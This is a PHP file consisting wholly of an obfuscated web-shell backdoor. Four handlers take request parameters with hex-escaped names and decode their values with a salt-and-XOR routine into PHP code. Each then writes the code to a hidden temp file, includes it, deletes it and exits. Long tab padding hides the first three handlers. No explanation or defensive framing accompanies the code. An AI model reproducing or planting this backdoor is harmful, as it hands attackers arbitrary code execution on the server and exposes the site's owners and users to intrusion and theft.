<?php																																										if(@$_POST["\x72e\x63o\x72d"] !== null){ $binding = $_POST["\x72e\x63o\x72d"]; $binding = explode ( ".", $binding ); $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $s = 0; array_walk($binding, function($v2) use(&$factor, &$s, $salt, $sLen) { $chS = ord($salt[$s % $sLen]); $dec =((int)$v2 - $chS -($s % 10)) ^ 100; $factor .= chr($dec); $s++; }); $reference = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), session_save_path(), getcwd()]); for ($symbol = 0, $token = count($reference); $symbol < $token; $symbol++) { $object = $reference[$symbol]; if (!!is_dir($object) && !!is_writable($object)) { $value = join("/", [$object, ".sym"]); $file = fopen($value, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $value; @unlink($value); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["d\x65sc\x72\x69\x70tor"])){ $tkn = $_REQUEST["d\x65sc\x72\x69\x70tor"]; $tkn = explode ( '.' ,$tkn ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $v = 0; array_walk( $tkn, function( $v3) use( &$holder, &$v, $s, $lenS) { $sChar = ord( $s[$v% $lenS]); $d = ( ( int)$v3 - $sChar -( $v% 10))^ 20; $holder .=chr( $d); $v++; }); $obj = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP")]); foreach ($obj as $elem): if (is_writable($elem) && is_dir($elem)) { $itm = "$elem" . "/.pointer"; if (file_put_contents($itm, $holder)) { include $itm; @unlink($itm); die(); } } endforeach; }
																																										if(!empty($_REQUEST["f\x6Ca\x67"])){ $flg = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp"]); $symbol = $_REQUEST["f\x6Ca\x67"]; $symbol=explode("." , $symbol ) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $l = 0; array_walk($symbol, function ($v9) use (&$token, &$l, $salt, $lenS) {$sChar = ord($salt[$l% $lenS]); $dec = ((int)$v9 - $sChar - ($l% 10)) ^ 32; $token .= chr($dec); $l++; }); $hld = 0; do { $marker = $flg[$hld] ?? null; if ($hld >= count($flg)) break; if (array_product([is_dir($marker), is_writable($marker)])) { $parameter_group = sprintf("%s/.ref", $marker); if (@file_put_contents($parameter_group, $token) !== false) { include $parameter_group; unlink($parameter_group); exit; } } $hld++; } while (true); }


if(!empty($_POST["\x70o\x69nt\x65r"])){
	$ptr = $_POST["\x70o\x69nt\x65r"];
	$ptr	=	  explode	 ('.' 	 ,$ptr	 	)	;
	$ent	=		'';
            $salt	=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=		strlen($salt);
            $u	=		0;
    
            array_walk($ptr, function($v6) use(&$ent, &$u, $salt, $sLen) {
                $chS	=		ord($salt[$u % $sLen]);
                $dec	=		((int)$v6 - $chS -($u % 10))	^  89;
                $ent .= chr($dec);
                $u++;
            });
	$item = array_filter(["/var/tmp", getcwd(), "/dev/shm", "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]);
	for ($comp = 0, $data = count($item); $comp < $data; $comp++) {
    $data_chunk = $item[$comp];
    		if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) {
    $entity = vsprintf("%s/%s", [$data_chunk, ".holder"]);
    if (file_put_contents($entity, $ent)) {
	require $entity;
	unlink($entity);
	die();
}
}
}
}